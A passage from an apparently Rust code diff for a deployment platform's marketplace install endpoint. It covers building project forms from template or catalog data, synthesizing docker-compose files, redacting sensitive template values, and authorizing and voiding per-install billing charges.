+                    "Template '{}' cannot be installed because its stack definition is invalid: {}",
+                    template.slug, err
+                )
+            })?
+        }
+        DefinitionShape::ComposeYaml(yaml_str) => build_form_from_yaml_embed(
+            template,
+            latest_version,
+            requested_name,
+            yaml_str,
+            "docker-compose.yml",
+        )?,
+        DefinitionShape::StackerConfig(yaml_str) => build_form_from_yaml_embed(
+            template,
+            latest_version,
+            requested_name,
+            yaml_str,
+            "stacker.yml",
+        )?,
+    };
+
+    // The YAML/stacker.yml branches already synthesize a fresh `custom`
+    // wrapper from the template + version; only the legacy branch needs
+    // us to backfill fields on top of the parsed form.
+    if matches!(shape, DefinitionShape::LegacyForm(_)) {
+        if let Some(name) = requested_name
+            .map(str::trim)
+            .filter(|name| !name.is_empty())
+        {
+            let project_name = normalized_project_name(name);
+            form.custom.custom_stack_code = project_name.clone();
+            if form.custom.project_name.is_none() {
+                form.custom.project_name = Some(project_name);
+            }
+        }
+
+        form.custom.marketplace_version = Some(latest_version.version.clone());
+        form.custom.marketplace_changelog = latest_version.changelog.clone();
+        form.custom.marketplace_config_files = latest_version.config_files.clone();
+        form.custom.marketplace_assets = latest_version.assets.clone();
+        form.custom.marketplace_seed_jobs = latest_version.seed_jobs.clone();
+        form.custom.marketplace_post_deploy_hooks = latest_version.post_deploy_hooks.clone();
+        form.custom.marketplace_update_mode_capabilities = latest_version
+            .update_mode_capabilities
+            .clone()
+            .unwrap_or_default();
+    }
+
+    form.validate().map_err(|err| err.to_string())?;
+
+    Ok(form)
+}
+
+fn build_form_from_yaml_embed(
+    template: &models::StackTemplate,
+    latest_version: &models::StackTemplateVersion,
+    requested_name: Option<&str>,
+    yaml_str: &str,
+    embed_name: &str,
+) -> Result<ProjectForm, String> {
+    let project_name = requested_name
+        .map(str::trim)
+        .filter(|name| !name.is_empty())
+        .unwrap_or(&template.slug);
+    let stack_code = normalized_project_name(project_name);
+
+    let mut config_files: Vec<serde_json::Value> =
+        serde_json::from_value(latest_version.config_files.clone()).unwrap_or_default();
+    let already_embedded = config_files.iter().any(|f| {
+        f.get("name")
+            .and_then(|n| n.as_str())
+            .map(|n| n == embed_name)
+            .unwrap_or(false)
+    });
+    if !already_embedded {
+        config_files.push(serde_json::json!({
+            "name": embed_name,
+            "content": yaml_str,
+        }));
+    }
+
+    let form_value = serde_json::json!({
+        "custom": {
+            "custom_stack_code": stack_code,
+            "project_name": template.name.clone(),
+            "custom_stack_short_description": template.short_description,
+            "custom_stack_category": template.category_code.as_ref().map(|c| vec![c.clone()]),
+            "web": [],
+            "service": serde_json::Value::Array(vec![]),
+            "feature": serde_json::Value::Array(vec![]),
+            "networks": [],
+            "marketplace_config_files": config_files,
+            "marketplace_version": latest_version.version,
+            "marketplace_changelog": latest_version.changelog,
+            "marketplace_assets": latest_version.assets,
+            "marketplace_seed_jobs": latest_version.seed_jobs,
+            "marketplace_post_deploy_hooks": latest_version.post_deploy_hooks,
+            "marketplace_update_mode_capabilities": latest_version.update_mode_capabilities,
+        }
+    });
+
+    serde_json::from_value(form_value).map_err(|err| {
+        format!(
+            "Template '{}' has an invalid stack definition: {}",
+            template.slug, err
+        )
+    })
+}
+
+/// Overlay the deployable fields from an enriched catalog application onto the
+/// summary object. The enriched `/applications/catalog/{code}` endpoint is
+/// authoritative for these, so its values win when present and non-null.
+fn merge_catalog_enrichment(application: &mut Value, enriched: &Value) {
+    let (Some(target), Some(source)) = (application.as_object_mut(), enriched.as_object()) else {
+        return;
+    };
+    for key in [
+        "docker_image",
+        "default_port",
+        "default_ports",
+        "default_env",
+        "default_config_files",
+        // Multi-service stacks: the enriched catalog entry carries `services[]`
+        // (one per member app, each with its own image) and a `kind:"stack"`
+        // marker. These MUST be overlaid too, otherwise the service-less search
+        // summary reaches synthesize_catalog_compose and it wrongly takes the
+        // single-app path -> "missing a dockerhub_image" for real stacks.
+        "services",
+        "kind",
+    ] {
+        if let Some(value) = source.get(key).filter(|v| !v.is_null()) {
+            target.insert(key.to_string(), value.clone());
+        }
+    }
+}
+
+fn json_scalar_to_string(value: &Value) -> Option<String> {
+    match value {
+        Value::String(s) => Some(s.clone()),
+        Value::Bool(b) => Some(b.to_string()),
+        Value::Number(n) => Some(n.to_string()),
+        _ => None,
+    }
+}
+
+/// Synthesize a minimal single-service docker-compose from a catalog
+/// application's enriched fields.
+///
+/// A catalog application is a single container described by `docker_image`
+/// (+ `default_port`/`default_ports`/`default_env`), not a multi-service
+/// stack. We render one service and embed it as `docker-compose.yml`, exactly
+/// how DB-backed templates ship their compose — so the rest of the deploy path
+/// (including the empty-compose guard) treats it uniformly.
+///
+/// Returns `None` when the application has no docker image, i.e. nothing
+/// deployable; the caller turns that into a clear install error.
+fn synthesize_catalog_compose(application: &Value, service_code: &str) -> Option<String> {
+    let mut services = serde_yaml::Mapping::new();
+
+    // Multi-service stack: one compose service per member app, each with its
+    // own real container image. Members without an image are skipped; if that
+    // leaves nothing, return None so the caller can fail loudly rather than
+    // shipping an empty/bogus compose.
+    if let Some(members) = application.get("services").and_then(|v| v.as_array()) {
+        for member in members {
+            let image = member
+                .get("docker_image")
+                .and_then(|v| v.as_str())
+                .map(str::trim)
+                .filter(|s| !s.is_empty());
+            let Some(image) = image else { continue };
+            let key = member
+                .get("code")
+                .and_then(|v| v.as_str())
+                .map(str::trim)
+                .filter(|s| !s.is_empty())
+                .unwrap_or(service_code);
+            services.insert(
+                key.into(),
+                build_compose_service(
+                    image,
+                    member.get("default_ports"),
+                    member.get("default_port"),
+                    member.get("default_env"),
+                ),
+            );
+        }
+        if services.is_empty() {
+            return None;
+        }
+        return compose_document(services);
+    }
+
+    // Single catalog app: one service from the top-level docker_image.
+    let image = application
+        .get("docker_image")
+        .and_then(|v| v.as_str())
+        .map(str::trim)
+        .filter(|s| !s.is_empty())?;
+    services.insert(
+        service_code.into(),
+        build_compose_service(
+            image,
+            application.get("default_ports"),
+            application.get("default_port"),
+            application.get("default_env"),
+        ),
+    );
+    compose_document(services)
+}
+
+/// Build a single compose service mapping (image + ports + env + restart +
+/// default_network) from catalog fields.
+fn build_compose_service(
+    image: &str,
+    default_ports: Option<&Value>,
+    default_port: Option<&Value>,
+    default_env: Option<&Value>,
+) -> serde_yaml::Value {
+    // Ports: prefer an explicit `default_ports` list, else `default_port`.
+    let mut ports: Vec<serde_yaml::Value> = Vec::new();
+    if let Some(arr) = default_ports.and_then(|v| v.as_array()) {
+        for p in arr {
+            if let Some(n) = p.as_i64() {
+                ports.push(serde_yaml::Value::String(format!("{n}:{n}")));
+            } else if let Some(s) = p.as_str().map(str::trim).filter(|s| !s.is_empty()) {
+                let mapping = if s.contains(':') {
+                    s.to_string()
+                } else {
+                    format!("{s}:{s}")
+                };
+                ports.push(serde_yaml::Value::String(mapping));
+            }
+        }
+    }
+    if ports.is_empty() {
+        if let Some(n) = default_port.and_then(|v| v.as_i64()) {
+            ports.push(serde_yaml::Value::String(format!("{n}:{n}")));
+        }
+    }
+
+    // Environment: accept an object ({KEY: value}) or a list of {key,value} /
+    // "KEY=value" entries. Anything unrecognized is skipped rather than
+    // guessed at.
+    let mut env = serde_yaml::Mapping::new();
+    match default_env {
+        Some(Value::Object(map)) => {
+            for (k, v) in map {
+                if let Some(s) = json_scalar_to_string(v) {
+                    env.insert(k.clone().into(), s.into());
+                }
+            }
+        }
+        Some(Value::Array(arr)) => {
+            for item in arr {
+                if let Some(obj) = item.as_object() {
+                    if let (Some(k), Some(v)) =
+                        (obj.get("key").and_then(|x| x.as_str()), obj.get("value"))
+                    {
+                        if let Some(s) = json_scalar_to_string(v) {
+                            env.insert(k.into(), s.into());
+                        }
+                    }
+                } else if let Some((k, v)) = item.as_str().and_then(|s| s.split_once('=')) {
+                    env.insert(k.into(), v.into());
+                }
+            }
+        }
+        _ => {}
+    }
+
+    let mut service = serde_yaml::Mapping::new();
+    service.insert("image".into(), image.into());
+    if !ports.is_empty() {
+        service.insert("ports".into(), serde_yaml::Value::Sequence(ports));
+    }
+    if !env.is_empty() {
+        service.insert("environment".into(), serde_yaml::Value::Mapping(env));
+    }
+    service.insert("restart".into(), "unless-stopped".into());
+    service.insert(
+        "networks".into(),
+        serde_yaml::Value::Sequence(vec!["default_network".into()]),
+    );
+    serde_yaml::Value::Mapping(service)
+}
+
+/// Wrap synthesized services into a full compose document (with the shared
+/// external `default_network`) and serialize to YAML.
+fn compose_document(services: serde_yaml::Mapping) -> Option<String> {
+    let mut default_network = serde_yaml::Mapping::new();
+    default_network.insert("external".into(), serde_yaml::Value::Bool(true));
+    default_network.insert("name".into(), "default_network".into());
+    let mut networks = serde_yaml::Mapping::new();
+    networks.insert(
+        "default_network".into(),
+        serde_yaml::Value::Mapping(default_network),
+    );
+
+    let mut root = serde_yaml::Mapping::new();
+    root.insert("services".into(), serde_yaml::Value::Mapping(services));
+    root.insert("networks".into(), serde_yaml::Value::Mapping(networks));
+
+    serde_yaml::to_string(&serde_yaml::Value::Mapping(root)).ok()
+}
+
+fn catalog_application_project_form(
+    application: &serde_json::Value,
+    slug: &str,
+    requested_name: Option<&str>,
+) -> Result<ProjectForm> {
+    let app_name = application
+        .get("name")
+        .and_then(|value| value.as_str())
+        .unwrap_or(slug);
+    let project_name = requested_name
+        .map(str::trim)
+        .filter(|name| !name.is_empty())
+        .unwrap_or(app_name);
+    let stack_code = normalized_project_name(project_name);
+
+    // Catalog apps carry no stack_definition; synthesize a compose from the
+    // application's real container image(s) -- one service for a single app, or
+    // one per member for a stack. Embedded as `marketplace_config_files` (same
+    // channel DB templates use), it is picked up by `embedded_marketplace_compose`
+    // at deploy time.
+    //
+    // Fail loudly if nothing could be synthesized: a missing/empty image means
+    // the catalog entry is incomplete, and shipping an empty compose would only
+    // surface later as an opaque `docker compose up` failure on the server.
+    let marketplace_config_files = match synthesize_catalog_compose(application, &stack_code) {
+        Some(compose) => serde_json::json!([{
+            "name": "docker-compose.yml",
+            "content": compose,
+        }]),
+        None => {
+            let is_stack = application.get("kind").and_then(|v| v.as_str()) == Some("stack")
+                || application
+                    .get("services")
+                    .and_then(|v| v.as_array())
+                    .is_some();
+            let reason = if is_stack {
+                "none of its member apps resolved a container image (each member app needs its own dockerhub_image)"
+            } else {
+                "the catalog entry is missing a dockerhub_image"
+            };
+            return Err(JsonResponse::<serde_json::Value>::build().bad_request(format!(
+                "Catalog application '{}' cannot be installed: no container image was available to synthesize a docker-compose file — {}.",
+                slug, reason
+            )));
+        }
+    };
+
+    let form_value = serde_json::json!({
+        "custom": {
+            "custom_stack_code": stack_code,
+            "project_name": project_name,
+            "custom_stack_short_description": application
+                .get("description")
+                .and_then(|value| value.as_str())
+                .unwrap_or_default(),
+            "custom_stack_category": application
+                .get("categories")
+                .cloned()
+                .or_else(|| application.get("category").map(|category| serde_json::json!([category])))
+                .unwrap_or_else(|| serde_json::json!([])),
+            "web": [],
+            "feature": [],
+            "service": [],
+            "networks": [],
+            "marketplace_config_files": marketplace_config_files,
+            "catalog_application": application
+        }
+    });
+
+    let form: ProjectForm = serde_json::from_value(form_value).map_err(|err| {
+        JsonResponse::<serde_json::Value>::build().bad_request(format!(
+            "Catalog application '{}' cannot be installed because its generated project form is invalid: {}",
+            slug, err
+        ))
+    })?;
+
+    form.validate()
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err.to_string()))?;
+
+    Ok(form)
+}
+
+async fn insert_project_from_form(
+    pg_pool: &PgPool,
+    user: &models::User,
+    form: &ProjectForm,
+    request_json: serde_json::Value,
+) -> Result<models::Project> {
+    let project_name = form.custom.custom_stack_code.clone();
+    let metadata = request_json.clone();
+
+    let project = models::Project::new(user.id.clone(), project_name, metadata, request_json);
+
+    let project = db::project::insert(pg_pool, project).await.map_err(|err| {
+        tracing::error!("Failed to create installed project: {}", err);
+        JsonResponse::<serde_json::Value>::build().internal_server_error("Internal Server Error")
+    })?;
+
+    project_app::sync_project_level_apps_from_form(pg_pool, project.id, form)
+        .await
+        .map_err(|err| {
+            tracing::error!(
+                "Failed to sync project-level apps for installed project {}: {}",
+                project.id,
+                err
+            );
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Internal Server Error")
+        })?;
+
+    Ok(project)
+}
+
+async fn maybe_deploy_installed_project(
+    user: &models::User,
+    project: models::Project,
+    mut deploy: Option<forms::project::Deploy>,
+    slug: &str,
+    pg_pool: &PgPool,
+    mq_manager: &MqManager,
+    settings: &Settings,
+    user_service: &Arc<dyn UserServiceConnector>,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    vault_client: &VaultClient,
+    install_inputs: &Map<String, Value>,
+) -> Result<(models::Project, Option<i32>)> {
+    let Some(mut deploy_form) = deploy.take() else {
+        return Ok((project, None));
+    };
+
+    deploy_form.stack.stack_code = Some(slug.to_string());
+    apply_install_inputs_to_deploy(&mut deploy_form, install_inputs);
+    let project_for_response = project.clone();
+    let (_, deployment_id) = crate::routes::project::deploy::deploy_project(
+        user,
+        project,
+        deploy_form,
+        pg_pool,
+        mq_manager,
+        settings,
+        user_service,
+        install_service,
+        vault_client,
+    )
+    .await?;
+
+    Ok((project_for_response, Some(deployment_id)))
+}
+
+const RESERVED_VAR_PREFIXES: &[&str] = &["STACKER_", "DOCKER_", "VAULT_", "AGENT_"];
+
+fn is_reserved_var_key(key: &str) -> bool {
+    RESERVED_VAR_PREFIXES
+        .iter()
+        .any(|prefix| key.starts_with(prefix))
+}
+
+fn apply_install_inputs_to_deploy(
+    deploy_form: &mut forms::project::Deploy,
+    install_inputs: &Map<String, Value>,
+) {
+    if install_inputs.is_empty() {
+        return;
+    }
+    let vars = deploy_form.stack.vars.get_or_insert_with(Vec::new);
+    for (key, value) in install_inputs {
+        if is_reserved_var_key(key) {
+            tracing::warn!(
+                "install_inputs key '{}' uses a reserved prefix and was rejected",
+                key
+            );
+            continue;
+        }
+        vars.retain(|var| var.key.as_deref() != Some(key.as_str()));
+        vars.push(Var {
+            key: Some(key.clone()),
+            value: Some(value.clone()),
+        });
+    }
+}
+
+fn normalized_install_inputs(inputs: &Map<String, Value>) -> Map<String, Value> {
+    let mut normalized = inputs.clone();
+    if let Some(value) = normalized.remove("base_domain") {
+        normalized
+            .entry("commonDomain".to_string())
+            .or_insert(value);
+    }
+    if let Some(value) = normalized.remove("domain") {
+        normalized
+            .entry("commonDomain".to_string())
+            .or_insert(value);
+    }
+    normalized
+}
+
+fn attach_install_inputs(request_json: &mut Value, install_inputs: &Map<String, Value>) {
+    if install_inputs.is_empty() {
+        return;
+    }
+    if let Some(custom) = request_json
+        .get_mut("custom")
+        .and_then(|value| value.as_object_mut())
+    {
+        custom.insert(
+            "install_inputs".to_string(),
+            Value::Object(install_inputs.clone()),
+        );
+    }
+}
+
+fn ensure_catalog_application_has_deploy_context(
+    slug: &str,
+    request: &InstallTemplateRequest,
+) -> Result<()> {
+    if request.deploy.is_none() {
+        return Err(JsonResponse::<serde_json::Value>::build().bad_request(format!(
+            "Catalog application '{}' requires deployment context; refusing to create a project without starting a deployment",
+            slug
+        )));
+    }
+
+    Ok(())
+}
+
+/// Redact sensitive values from a serialized `StackTemplateVersion` JSON value.
+/// Covers stack_definition, config_files content, seed_jobs, and post_deploy_hooks.
+fn redact_version_value(ver_value: &mut serde_json::Value, format: &str) {
+    if let Some(sd) = ver_value.get_mut("stack_definition") {
+        if format == "yaml" {
+            if let serde_json::Value::String(yaml) = sd {
+                *yaml = redact_yaml_string(yaml);
+            }
+        } else {
+            redact_sensitive_json_values(sd);
+        }
+    }
+
+    if let Some(files) = ver_value
+        .get_mut("config_files")
+        .and_then(|v| v.as_array_mut())
+    {
+        for file in files {
+            if let Some(content) = file
+                .get_mut("content")
+                .and_then(|v| v.as_str().map(|s| s.to_string()))
+            {
+                if let Some(c) = file.get_mut("content") {
+                    *c = serde_json::Value::String(redact_yaml_string(&content));
+                }
+            }
+            redact_sensitive_json_values(file);
+        }
+    }
+
+    for field in &["seed_jobs", "post_deploy_hooks"] {
+        if let Some(v) = ver_value.get_mut(*field) {
+            redact_sensitive_json_values(v);
+        }
+    }
+}
+
+/// True when this install should go through per-install billing.
+/// Both conditions must hold: the template opts into `per_install` and the
+/// global kill switch is on. When either is false we fall through to the
+/// legacy `one_time` / `free` paths untouched.
+fn is_per_install_effective(template: &models::StackTemplate, settings: &Settings) -> bool {
+    let opted_in = template
+        .billing_cycle
+        .as_deref()
+        .map(|c| c.trim().eq_ignore_ascii_case("per_install"))
+        .unwrap_or(false);
+    opted_in && settings.per_install_billing_enabled
+}
+
+/// Convert a template's `price` (dollars, f64) to minor units (cents, i64)
+/// with checked rounding. Rejects None/<=0 for per_install templates —
+/// admin review is expected to prevent this from ever reaching install.
+fn amount_minor_for(template: &models::StackTemplate) -> Result<i64, actix_web::Error> {
+    let price = template.price.unwrap_or(0.0);
+    if price <= 0.0 {
+        return Err(
+            JsonResponse::<serde_json::Value>::build().bad_request(format!(
+                "Template '{}' has billing_cycle=per_install but no positive price",
+                template.slug
+            )),
+        );
+    }
+    let cents = (price * 100.0).round() as i64;
+    if cents <= 0 {
+        return Err(
+            JsonResponse::<serde_json::Value>::build().bad_request(format!(
+                "Template '{}' price rounds to zero cents",
+                template.slug
+            )),
+        );
+    }
+    Ok(cents)
+}
+
+/// Best-effort background void of an authorization on install failure.
+/// Fire-and-forget: the sweeper is the correctness backstop if this
+/// spawn is dropped or the user_service call fails.
+fn spawn_void(
+    user_service: Arc<dyn UserServiceConnector>,
+    pg_pool: PgPool,
+    user_token: String,
+    authorization_id: String,
+    reason: String,
+) {
+    tokio::spawn(async move {
+        if let Err(err) = user_service
+            .void_install_charge(&user_token, &authorization_id, &reason)
+            .await
+        {
+            tracing::warn!(
+                "per_install void failed for {}: {} (sweeper will retry)",
+                authorization_id,
+                err
+            );
+        }
+        if let Err(err) =
+            db::marketplace_billing::mark_voided(&pg_pool, &authorization_id, &reason).await
+        {
+            tracing::warn!(
+                "per_install DB void mark failed for {}: {}",
+                authorization_id,
+                err
+            );
+        }
+    });
+}
+
+fn summarize(
+    handle: &crate::connectors::user_service::AuthorizationHandle,
+) -> AuthorizationSummary {
+    AuthorizationSummary {
+        authorization_id: handle.authorization_id.clone(),
+        status: handle.status.clone(),
+        amount_minor: handle.amount_minor,
+        currency: handle.currency.clone(),
+        expires_at: handle.expires_at.clone(),
+    }
+}
+
+async fn install_stack_template(
+    template: models::StackTemplate,
+    latest_version: models::StackTemplateVersion,
+    request: &InstallTemplateRequest,
+    user: &models::User,
+    pg_pool: &PgPool,
+    mq_manager: &MqManager,
+    settings: &Settings,
+    user_service: &Arc<dyn UserServiceConnector>,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    vault_client: &VaultClient,
+) -> Result<InstallTemplateResponse> {
+    services::validate_marketplace_template_access(user_service, user, &template)
+        .await
+        .map_err(map_access_error)?;
+
+    // Per-install billing: authorize before any DB write so a decline
+    // returns 402 with no side effects.
+    let per_install = is_per_install_effective(&template, settings);
+    let (mut authorization_state, effective_idem_key) = if per_install {
+        let user_token = user.access_token.as_deref().ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build()
+                .forbidden("User token required for per-install billing")
+        })?;
+        let amount_minor = amount_minor_for(&template)?;
+        let currency = template
+            .currency
+            .clone()
+            .unwrap_or_else(|| "USD".to_string());
+        let idempotency_key = request
+            .idempotency_key
+            .clone()
+            .filter(|k| !k.trim().is_empty())
+            .unwrap_or_else(|| {
+                let key = format!("srv-{}", uuid::Uuid::new_v4());
+                tracing::warn!(
+                    "install request for per_install template '{}' missing idempotency_key; generated '{}'",
+                    template.slug,
+                    key
+                );
+                key
+            });
+
+        let handle = user_service
+            .authorize_install_charge(
+                user_token,
+                &template.id,
+                amount_minor,
+                &currency,
+                &idempotency_key,
+            )
+            .await
+            .map_err(|err| match err {
+                ConnectorError::PaymentRequired(msg) => JsonResponse::<serde_json::Value>::build()
+                    .payment_required(format!("Payment declined: {}", msg)),
+                ConnectorError::Conflict(msg) => JsonResponse::<serde_json::Value>::build()
+                    .bad_request(format!("Idempotency conflict: {}", msg)),
+                other => {
+                    tracing::error!("authorize_install_charge failed: {:?}", other);
+                    JsonResponse::<serde_json::Value>::build()
+                        .internal_server_error("Failed to authorize install charge")
+                }
+            })?;
+
+        // Persist the authorization row before touching the project row so
+        // a crash between authorize and project insert still leaves us an
+        // auditable ledger entry for the sweeper.
+        let expires_at = handle
+            .expires_at
+            .as_deref()
+            .and_then(|s| chrono::DateTime::parse_from_rfc3339(s).ok())
+            .map(|dt| dt.with_timezone(&chrono::Utc));
+        let auth_row = db::marketplace_billing::insert_authorization(
+            pg_pool,
+            db::marketplace_billing::NewAuthorization {
+                user_id: user.id.clone(),
+                template_id: template.id,
+                idempotency_key: idempotency_key.clone(),
+                authorization_id: handle.authorization_id.clone(),
+                amount_minor: handle.amount_minor,
+                currency: handle.currency.clone(),
+                expires_at,
+            },
+        )
+        .await
+        .map_err(|err| {
+            tracing::error!("insert_authorization failed: {}", err);
+            spawn_void(
+                user_service.clone(),
+                pg_pool.clone(),
+                user_token.to_string(),
+                handle.authorization_id.clone(),
+                "install_failed:db_insert_authorization".to_string(),
+            );
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Failed to persist install authorization")
+        })?;
+
+        (
+            Some((auth_row, handle, user_token.to_string())),
+            Some(idempotency_key),
+        )
+    } else {
+        (None, None)
+    };
+
+    // Any error from here forward must void the authorization if one was
+    // taken. We keep the flow linear and handle each `?` explicitly via a
+    // small helper that voids on failure paths.
+    let form = match build_project_form(&template, &latest_version, request.name.as_deref()) {
+        Ok(f) => f,
+        Err(e) => {
+            if let Some((_, handle, token)) = authorization_state.take() {
+                spawn_void(
+                    user_service.clone(),
+                    pg_pool.clone(),
+                    token,
+                    handle.authorization_id,
+                    "install_failed:build_project_form".to_string(),
+                );
+            }
+            return Err(e);
+        }
+    };
+
+    let mut request_json = serde_json::to_value(&form).map_err(|err| {
+        tracing::error!("Failed to serialize marketplace project form: {:?}", err);
+        if let Some((_, handle, token)) = authorization_state.take() {
+            spawn_void(
+                user_service.clone(),
+                pg_pool.clone(),
+                token,
+                handle.authorization_id,
+                "install_failed:serialize_form".to_string(),
+            );
+        }
+        JsonResponse::<serde_json::Value>::build().internal_server_error("Internal Server Error")
+    })?;
+    let install_inputs = normalized_install_inputs(&request.install_inputs);
+    attach_install_inputs(&mut request_json, &install_inputs);
+
+    let mut project = match insert_project_from_form(pg_pool, user, &form, request_json).await {
+        Ok(p) => p,
+        Err(e) => {
+            if let Some((_, handle, token)) = authorization_state.take() {
+                spawn_void(
+                    user_service.clone(),
+                    pg_pool.clone(),
+                    token,
+                    handle.authorization_id,
+                    "install_failed:insert_project".to_string(),
+                );
+            }
+            return Err(e);
+        }
+    };
+    project.source_template_id = Some(template.id);
+    project.template_version = Some(latest_version.version.clone());
+    project = db::project::update(pg_pool, project).await.map_err(|err| {
+        tracing::error!("Failed to update installed template metadata: {}", err);
+        JsonResponse::<serde_json::Value>::build().internal_server_error("Internal Server Error")
+    })?;
+
+    // Link the auth row to the freshly-committed project so
+    // deploy_complete_handler and cancel/refund paths can find it.
+    if let Some((auth_row, _handle, _token)) = authorization_state.as_ref() {
+        if let Err(err) =
+            db::marketplace_billing::attach_project(pg_pool, auth_row.id, project.id).await
+        {
+            tracing::warn!(
+                "attach_project failed for auth {}: {} (row still usable via idempotency_key)",
+                auth_row.id,
+                err
+            );
+        }
+    }
+
+    let slug = template.slug.clone();
+    let (project, deployment_id) = maybe_deploy_installed_project(
+        user,
+        project,
+        request.deploy.clone(),
+        &slug,
+        pg_pool,
+        mq_manager,
+        settings,
+        user_service,
+        install_service,
+        vault_client,
+        &install_inputs,
+    )
+    .await?;
+
+    // Attach deployment_hash if a deployment was queued. If no deploy was
+    // requested (sync install-only) capture immediately — the value the
+    // buyer paid for is the install artifact itself.
+    if let Some((auth_row, handle, token)) = authorization_state.as_mut() {
+        if let Some(deploy_id) = deployment_id {
+            match db::deployment::fetch(pg_pool, deploy_id).await {
+                Ok(Some(deployment)) => {
+                    if let Err(err) = db::marketplace_billing::attach_deployment_hash(
+                        pg_pool,
+                        auth_row.id,
+                        &deployment.deployment_hash,
+                    )
+                    .await
+                    {
+                        tracing::warn!(
+                            "attach_deployment_hash failed for auth {}: {}",
+                            auth_row.id,
+                            err
+                        );
+                    }
+                }
+                Ok(None) => tracing::warn!(
+                    "deployment id {} not found when linking auth {}",
+                    deploy_id,
+                    auth_row.id
+                ),
+                Err(err) => tracing::warn!("deployment lookup failed for {}: {}", deploy_id, err),
+            }
+        } else {
+            // Install-without-deploy: synthesize a hash and capture now.
+            let synthetic = format!("install-only:{}", project.id);
+            let _ =
+                db::marketplace_billing::attach_deployment_hash(pg_pool, auth_row.id, &synthetic)
+                    .await;
+            match user_service
+                .capture_install_charge(token, &handle.authorization_id, &synthetic)
+                .await
+            {
+                Ok(new_handle) => {
+                    let _ =
+                        db::marketplace_billing::mark_captured(pg_pool, &handle.authorization_id)
+                            .await;
+                    *handle = new_handle;
+                }
+                Err(err) => {
+                    tracing::warn!(
+                        "sync install-only capture failed for {}: {} (sweeper will reconcile)",
+                        handle.authorization_id,
+                        err
+                    );
+                }
+            }
+        }
+    }
+
+    let format = latest_version
+        .definition_format
+        .as_deref()
+        .unwrap_or("")
+        .to_string();
+    let mut ver_value =
+        serde_json::to_value(latest_version).unwrap_or_else(|_| serde_json::json!({}));
+
+    redact_version_value(&mut ver_value, &format);
+
+    let (authorization, idempotency_key) = match (authorization_state, effective_idem_key) {
+        (Some((_, handle, _)), Some(key)) => (Some(summarize(&handle)), Some(key)),
+        _ => (None, None),
+    };
+
+    Ok(InstallTemplateResponse {
+        project,
+        template: serde_json::to_value(template).unwrap_or_else(|_| serde_json::json!({})),
+        latest_version: ver_value,
+        deployment_id,
+        authorization,
+        idempotency_key,
+    })
+}
+
+async fn install_catalog_application(
+    slug: &str,
+    request: &InstallTemplateRequest,
+    user: &models::User,
+    pg_pool: &PgPool,
+    mq_manager: &MqManager,
+    settings: &Settings,
+    user_service: &Arc<dyn UserServiceConnector>,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    vault_client: &VaultClient,
+) -> Result<InstallTemplateResponse> {
+    ensure_catalog_application_has_deploy_context(slug, request)?;
+
+    let token = user.access_token.as_deref().ok_or_else(|| {
+        JsonResponse::<serde_json::Value>::build()
+            .forbidden("User token is required to install catalog applications")
+    })?;
+
+    let applications = user_service
+        .search_marketplace_templates(token, Some(slug), None, None, Some(1), Some(10))
+        .await
+        .map_err(|err| {
+            tracing::error!(
+                "Catalog application lookup failed for '{}': {:?}",
+                slug,
+                err
+            );
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Catalog application lookup failed")
+        })?;
+
+    let slug_lc = slug.to_ascii_lowercase();
+    let mut application = applications
+        .into_iter()
+        .find(|application| catalog_application_matches_slug(application, &slug_lc))
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found(format!(
+                "Template or catalog application '{}' was not found",
+                slug
+            ))
+        })?;
+
+    // The search result is a summary and may lack the docker image / default
+    // env & ports. Enrich from the catalog endpoint so we can synthesize a
+    // deployable compose; missing enrichment is non-fatal (best effort).
+    match user_service.get_catalog_application(token, slug).await {
+        Ok(Some(enriched)) => merge_catalog_enrichment(&mut application, &enriched),
+        Ok(None) => {}
+        Err(err) => {
+            tracing::warn!(
+                "Catalog enrichment lookup failed for '{}': {:?} (continuing with summary)",
+                slug,
+                err
+            );
+        }
+    }
+
+    let form = catalog_application_project_form(&application, slug, request.name.as_deref())?;
+    let mut request_json = serde_json::to_value(&form).map_err(|err| {
+        tracing::error!(
+            "Failed to serialize catalog application project form: {:?}",
+            err
+        );
+        JsonResponse::<serde_json::Value>::build().internal_server_error("Internal Server Error")
+    })?;
+    if let Some(custom) = request_json
+        .get_mut("custom")
+        .and_then(|value| value.as_object_mut())
+    {
+        custom.insert("catalog_application".to_string(), application.clone());
+    }
+    let install_inputs = normalized_install_inputs(&request.install_inputs);
+    attach_install_inputs(&mut request_json, &install_inputs);
+
+    let project = insert_project_from_form(pg_pool, user, &form, request_json).await?;
+    let (project, deployment_id) = maybe_deploy_installed_project(
+        user,
+        project,
+        request.deploy.clone(),
+        slug,
+        pg_pool,
+        mq_manager,
+        settings,
+        user_service,
+        install_service,
+        vault_client,
+        &install_inputs,
+    )
+    .await?;
+
+    Ok(InstallTemplateResponse {
+        authorization: None,
+        idempotency_key: None,
+        project,
+        template: application,
+        latest_version: serde_json::json!({
+            "version": "catalog",
+            "stack_definition": null,
+            "rendered_by": "install_service"
+        }),
+        deployment_id,
+    })
+}
+
+fn catalog_application_matches_slug(application: &Value, slug_lc: &str) -> bool {
+    ["code", "slug"].iter().any(|field| {
+        application
+            .get(field)
+            .and_then(|value| value.as_str())
+            .map(|value| value.to_ascii_lowercase() == slug_lc)
+            .unwrap_or(false)
+    })
+}
+
+#[tracing::instrument(name = "Install marketplace template", skip_all)]
+#[post("/{slug}/install")]
+pub async fn install_handler(
+    path: web::Path<(String,)>,
+    request: web::Json<InstallTemplateRequest>,
+    user: web::ReqData<Arc<models::User>>,
+    pg_pool: web::Data<PgPool>,
+    mq_manager: web::Data<MqManager>,
+    settings: web::Data<Settings>,
+    user_service: web::Data<Arc<dyn UserServiceConnector>>,
+    install_service: web::Data<Arc<dyn InstallServiceConnector>>,
+    vault_client: web::Data<VaultClient>,
+) -> Result<impl Responder> {
+    let slug = path.into_inner().0;
+    let response = match db::marketplace::get_by_slug_with_latest(pg_pool.get_ref(), &slug).await {
+        Ok((template, Some(latest_version))) => {
+            install_stack_template(
+                template,
+                latest_version,
+                &request,
+                user.as_ref(),
+                pg_pool.get_ref(),
+                mq_manager.get_ref(),
+                settings.get_ref(),
